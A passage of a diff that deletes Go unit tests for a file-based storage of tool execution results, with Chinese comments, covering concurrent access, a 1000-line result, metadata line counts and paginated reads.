-	if err != nil {
-		t.Errorf("删除不存在的执行ID不应该报错: %v", err)
-	}
-}
-
-func TestFileResultStorage_ConcurrentAccess(t *testing.T) {
-	storage, tmpDir := setupTestStorage(t)
-	defer cleanupTestStorage(t, tmpDir)
-
-	// 并发保存多个结果
-	done := make(chan bool, 10)
-	for i := 0; i < 10; i++ {
-		go func(id int) {
-			executionID := fmt.Sprintf("test_exec_%d", id)
-			toolName := "test_tool"
-			result := fmt.Sprintf("Result %d\nLine 2\nLine 3", id)
-
-			err := storage.SaveResult(executionID, toolName, result)
-			if err != nil {
-				t.Errorf("并发保存失败 (ID: %s): %v", executionID, err)
-			}
-
-			// 并发读取
-			_, err = storage.GetResult(executionID)
-			if err != nil {
-				t.Errorf("并发读取失败 (ID: %s): %v", executionID, err)
-			}
-
-			done <- true
-		}(i)
-	}
-
-	// 等待所有goroutine完成
-	for i := 0; i < 10; i++ {
-		<-done
-	}
-}
-
-func TestFileResultStorage_LargeResult(t *testing.T) {
-	storage, tmpDir := setupTestStorage(t)
-	defer cleanupTestStorage(t, tmpDir)
-
-	executionID := "test_exec_large"
-	toolName := "test_tool"
-
-	// 创建大结果（1000行）
-	lines := make([]string, 1000)
-	for i := 0; i < 1000; i++ {
-		lines[i] = fmt.Sprintf("Line %d: This is a test line with some content", i+1)
-	}
-	result := strings.Join(lines, "\n")
-
-	// 保存大结果
-	err := storage.SaveResult(executionID, toolName, result)
-	if err != nil {
-		t.Fatalf("保存大结果失败: %v", err)
-	}
-
-	// 验证元数据
-	metadata, err := storage.GetResultMetadata(executionID)
-	if err != nil {
-		t.Fatalf("获取元数据失败: %v", err)
-	}
-
-	if metadata.TotalLines != 1000 {
-		t.Errorf("总行数不匹配。期望: 1000, 实际: %d", metadata.TotalLines)
-	}
-
-	// 测试分页查询大结果
-	page, err := storage.GetResultPage(executionID, 1, 100)
-	if err != nil {
-		t.Fatalf("获取第一页失败: %v", err)
-	}
-
-	if page.TotalPages != 10 {
-		t.Errorf("总页数不匹配。期望: 10, 实际: %d", page.TotalPages)
-	}
-
-	if len(page.Lines) != 100 {
-		t.Errorf("第一页行数不匹配。期望: 100, 实际: %d", len(page.Lines))
-	}
-}